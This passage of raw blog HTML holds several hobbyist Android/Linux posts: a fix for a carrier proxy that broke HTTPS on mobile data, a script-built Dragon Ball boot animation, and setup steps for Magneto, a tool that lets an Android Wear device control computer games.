<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihoYsi-aq_Xw73dJgwUH37bq312N_mUoFFXkn-PslewN77L0Msw5F6ETUZb0NvYhugSN0m2DmvZlF2uRPfmEHBJ4XbbjSyY3CLIMmxz32bKCj_Sr1tL7GwReuAaPgE2wSVBGDqoOvy0ZQ/s1600/Screenshot_2015-07-15-12-38-49.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihoYsi-aq_Xw73dJgwUH37bq312N_mUoFFXkn-PslewN77L0Msw5F6ETUZb0NvYhugSN0m2DmvZlF2uRPfmEHBJ4XbbjSyY3CLIMmxz32bKCj_Sr1tL7GwReuAaPgE2wSVBGDqoOvy0ZQ/s400/Screenshot_2015-07-15-12-38-49.png" width="240" /></a></div>
<div>
<br /></div>
<blockquote class="tr_bq">
"This webpage is not available<br />
ERR_TUNNEL_CONNECTION_FAILED"</blockquote>
<div>
<br /></div>
<div>
This used to occur <b>only on mobile network</b> (airtel) and <b>not on WiFi</b>. At first it seemed to be a problem with chrome. But the same problem was there in other browsers. After breaking my head for a while I read somewhere that android doesn't support SSL over any port other than 443 (too weird to be true). But this couldn't be the issue because <a href="https://google.com/">https://google.com</a> , <a href="https://twitter.com/">https://twitter.com</a> etc use 443. </div>
<div>
<br /></div>
<div>
Upon investigating further, I realized that it is a very silly issue. It is because the default Access Point (Airtel Live) that came with my carrier (airtel) had a proxy that was not allowing SSL Tunneling.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOZumWl14LrFJyO5NitxXfB8xkOwfa1diib3XBYD1Jo9-byRBa_ohoRe6j9stzyJ3z1fWxBQLTizKUgZk2UYVRjG9YLS5XQFdz6lE-QIeIv-4qqLRaml9DT37g6gOdaRcuRZ1tO0kWTrc/s1600/Screenshot_2015-07-15-12-29-22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOZumWl14LrFJyO5NitxXfB8xkOwfa1diib3XBYD1Jo9-byRBa_ohoRe6j9stzyJ3z1fWxBQLTizKUgZk2UYVRjG9YLS5XQFdz6lE-QIeIv-4qqLRaml9DT37g6gOdaRcuRZ1tO0kWTrc/s400/Screenshot_2015-07-15-12-29-22.png" width="240" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf_Uu2kOl8szJIFdXNxQo0_hxHFqOEeOeh4ixbL6fDl8cc1fsozjQ4jqRYOZzWYFAFhM7FMET2P1NWiXxu4IAR28d7ziA4P1bSTjLLRz_jAErrRRIX9_jiFWb7Mfwmsb3WG8qm3Jm0Y1Y/s1600/Screenshot_2015-07-15-12-29-26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf_Uu2kOl8szJIFdXNxQo0_hxHFqOEeOeh4ixbL6fDl8cc1fsozjQ4jqRYOZzWYFAFhM7FMET2P1NWiXxu4IAR28d7ziA4P1bSTjLLRz_jAErrRRIX9_jiFWb7Mfwmsb3WG8qm3Jm0Y1Y/s400/Screenshot_2015-07-15-12-29-26.png" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b>After setting <i>Proxy</i> and <i>Port</i> to nothing, the problem was solved!</b></div>
<div>
<br /></div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-76648727243657994152015-07-06T22:39:00.001-07:002015-07-06T22:57:01.883-07:00Celebrating the return of Dragon Ball: Kamehameha boot animation<div dir="ltr" style="text-align: left;" trbidi="on">
<link href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZWNOjxve0oXgYZMZRztoIio88XZ3298WGBr-lOJX3ehUovDz6-GCdPis0fOv6t_WspMUThbVb0jpk-NZ72QtMU-VMi6znAX3FXrhzFd-8vnd3tCEbF6CqsIENk3vzxqLoZFRrdNhJYwA/s320/Kamehameha_00100.jpg" rel="image_src" type="image/jpeg"></link>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
I am sure many of you are excited about the return of DragonBall after 18 years as <b>DragonBall Super</b>! Although I saw the original series much after it ended, I am a great fan of it and the fact that it gave birth to a new generation of anime is just amazing. Hats off to you Akira Toriyama!<br />
<br />
To celebrate the return of DragonBall, I made a video of me performing the classic Kamehameha attack and made it my phone's boot animation. Here is the Vine of the video I made:<br />
<br />
<center>
<iframe frameborder="0" height="480" src="https://vine.co/v/e7Yi2W1vXLa/embed/simple?audio=no" width="480"></iframe><script src="https://platform.vine.co/static/scripts/embed.js"></script></center>
.<br />
<br />
Grab the Adobe After Effects project of this video from <a href="https://drive.google.com/file/d/0B2IjrOunahAfRVZ1WkJnQnE2S0U/view?usp=sharing">here</a>.<br />
<br />
Here is how it looks while phone is booting:<br />
<br />
<center>
<iframe height="320" src="https://drive.google.com/file/d/0B2IjrOunahAfTjVrZ21QZUhsZ3c/preview" width="576"></iframe>
</center>
<br />
Boot animation in android comes from the file called <b>bootanimation.zip </b>which is at <b>/system/media</b>. This file essentially consists of sets of sequences of images which have to be shown one after the other. Here we need to generate bootanimation.zip with just one sequence of images (extracted from the video) which runs in a loop. As there is no tool which can do this, I wrote a simple shell script.<br />
<br />
Here we have to generate two things.<br />
<br />
1. Folder with sequence of images.<br />
2. Description of bootanimation.zip, which tells what to do with the images.<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=ywJRjDiP"></script>
<br />
After running this script, bootanimation.zip is generated. Now move it to <b>/system/media</b> and set the permissions to 0644 (rw-r--r--)<br />
<br />
<iframe height="480" src="https://drive.google.com/file/d/0B2IjrOunahAfajJ4eENkV0YwZlU/preview" width="640"></iframe>
<br />
<br />
Now reboot the phone and you are done!<br />
<br />
KAAAAAAMEEEEEEEHAAAAAAMEEEEEHAAAAAAAAAAA!<br />
<br />
<br /></div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-87353187661562767542015-06-21T01:33:00.000-07:002015-06-23T23:16:32.925-07:00Play computer games through android wear using Magneto<link rel="image_src"
type="image/jpeg"
href="http://img.youtube.com/vi/T5LWmyKWQdc/0.jpg" />
<div dir="ltr" style="text-align: left;" trbidi="on">
I recently wrote an article called "<a href="http://lifepluslinux.blogspot.in/2015/02/gyroscope-accelerometer-geomagnetometer.html">Magneto = Gyroscope + Accelerometer + Geomagnetometer</a>" where in I explained how to use Gyroscope, Accelerometer and Geomagnetometer to map your movements to mouse movements. In this article I will show you how to use <a href="https://github.com/alseambusher/Magneto-2.0">Magneto 2.0</a> to play computer games using your android wear or phone.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/T5LWmyKWQdc/0.jpg" frameborder="0" height="315" src="https://www.youtube.com/embed/T5LWmyKWQdc?feature=player_embedded" width="560"></iframe></div>
<div class="separator" style="clear: both; text-align: center;">
Here is a video of me playing few computer games using my android wear</div>
<br />
<br />
<h3 style="text-align: left;">
How to use it?</h3>
<div>
<br /></div>
<h4 style="text-align: left;">
Setup</h4>
Unfortunately, I haven't made a simple way to do this YET. And this is available only for Linux and Mac. If you wan't to give a try you will have to follow all these steps. I am assuming that you have <a href="https://developer.android.com/sdk/installing/index.html">ADT</a> setup.<br />
<br />
<center>
<a class="btn" href="http://alseambusher.github.io/files/Magneto.apk" style="color: white;">Download Magneto apk</a></center>
<br />
<br />
For <i><span style="color: #073763;"><b>android wear</b></span></i><span style="color: #073763;">:</span><br />
<ol style="text-align: left;">
<li>Enable developer options on your android wear and turn on USB debugging. See <a href="https://developer.android.com/training/wearables/apps/bt-debugging.html">this</a> to see how to enable bluetooth debugging for your watch.</li>
<li>After you are successfully able to connect to your watch from your computer, install the apk.<br />
<pre style="background-color: #eeeeee; padding: 10px;">adb install [location to the apk]</pre>
</li>
<li>You are done. Now go ahead and open it on your wear</li>
</ol>
<br />
For <b><i><span style="color: #073763;">android phone:</span></i></b><br />
<ol style="text-align: left;">
<li>Enable developer options on your android device and turn on USB debugging or ADB over wifi.</li>
<li>Install the apk like any other.</li>
<li>You are done. Now go ahead and open it on your device.</li>
</ol>
<div>
<span style="color: #073763;"><b><i>Linux users</i></b></span> have to install xdotool:</div>
<div>
<br /></div>
<div>
Ubuntu/ Debian users
<br />
<pre style="background-color: #eeeeee; padding: 10px;">sudo apt-get install xdotool</pre>
</div>
<div>
Fedora users
<br />
<div>
<pre style="background-color: #eeeeee; padding: 10px;">sudo yum install xdotool</pre>
</div>
<div>
</div>
</div>
<div>
Arch users
<br />
<div>
<pre style="background-color: #eeeeee; padding: 10px;">sudo packman -S install xdotool</pre>
</div>
<div>
</div>
</div>
<h4 style="text-align: left;">
Start Magneto on computer</h4>
<div>
Download <a href="https://raw.githubusercontent.com/alseambusher/Magneto-2.0/master/Server/nav">this</a> shell script and run it.<br />
<br />
For <i><span style="color: #073763;">android wear and linux</span></i>
<br />
<pre style="background-color: #eeeeee; padding: 10px;">./nav -lw</pre>
For<span style="color: #073763;"> <i>android wear and OS X</i></span>
<br />
<pre style="background-color: #eeeeee; padding: 10px;">./nav -ow</pre>
For <span style="color: #073763;"><i>android phone and linux</i></span>
<br />
<pre style="background-color: #eeeeee; padding: 10px;">./nav -lp</pre>
For<span style="color: #073763;"><i> android phone and OS X</i></span>
<br />
<pre style="background-color: #eeeeee; padding: 10px;">./nav -op</pre>
</div>
<h4 style="text-align: left;">
Calibration</h4>
Calibrate what is left, right, top and bottom.<br />
<ol>
<li>Hold your device in front of the computer screen. This will be your initial position.</li>
<li>Rotate your hand to left position and click on L. So, this will mark the region beyond it as Left. Then rotate your hand to the right and click on R. This will mark the region beyond it as Right. Similarly, do the same for Top (T) and Bottom(B)<br /><br /><div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4-fL-Wn3ASUftABsCEjYLnb5GJZHBjh4pTWvXB8NBYj7hQKPLbZSDPXmLEGp1_U3sLkRouKpKASzSem_8NokGQQ-mXGOcjqMTfVxG2cNU1cOD99Y5WL-kKYa1i4zAPj4i-V6Gz3h7rn4/s200/device-2015-06-08-140056.png" width="190" />
<img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2lsTmVw827Auz0r9L2is1xC0cQFk4wiKeRuG-k0WbPwTbaf5Qt3A6D_VxroAtchAUKozxxnypfu19eEl9sNr_bh7bsewtsLWQYFqCcJ-5qJKWTfy4SKxZXuepIriEgcgbWhC7G6k0p7Q/s200/device-2015-06-08-140200.png" width="190" />
</div>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgXEKTCOc3caK4YoddOyUgvBOxsO_AHNsf2o4lJIu5WqMxgg0cFVD6NUBgrw-Ez-Dg1DEKnNPfEMRd3Ox0eYaDDuO5Q0ax_bnSqTKqcY3pMNCvxI6UWSTTZsgiJIWMHQTZirkr6sgYoRs/s200/device-2015-06-08-140217.png" width="190" />
<img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoi4PDabbu3nKTyB88WibuXFCKYqLgHWYOJSTGgz7eg11sGf4X6B8XPG0wR3nqms3pK5qmL2JspG2fdHgfwnbwqaNFYwSSLwDL3tO2fW4aQWR2mpVpB7zMKI-r3CDDGR838SKGry68iAA/s200/device-2015-06-08-140235.png" width="190" />
</div>
<br />
</li>
<li>If you feel that you have to redo it, press RESET button and click on the letter. When the letter becomes L (capital L), redo Step 2.</li>
</ol>
<h4 style="text-align: left;">
Playing</h4>
See the video where I am playing <a href="http://www.a10.com/action-games/pyramid-run">Temple Run Online</a>, <a href="http://www.freetetris.org/game.php">Tetris</a> and <a href="http://www.knowledgeadventure.com/games/pac-man/">Pacman</a> using my android wear!<br />
<br />
<h4 style="text-align: left;">
Contributing</h4>
<div>
<br /></div>
<center>
<a class="btn" href="https://github.com/alseambusher/Magneto-2.0" style="color: white;">Fork me on github</a></center>
<br />
<br />
There is a lot of scope for improvement. For instance, I haven't written the navigation script for windows. Pull requests are welcome.<br />
<br />
<br />
You might have noticed the COMMAND button. It takes voice commands from the user and sends it to the computer. I will talk about that in another article.<br />
<br />
<br />
<br />
<br /></div>Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0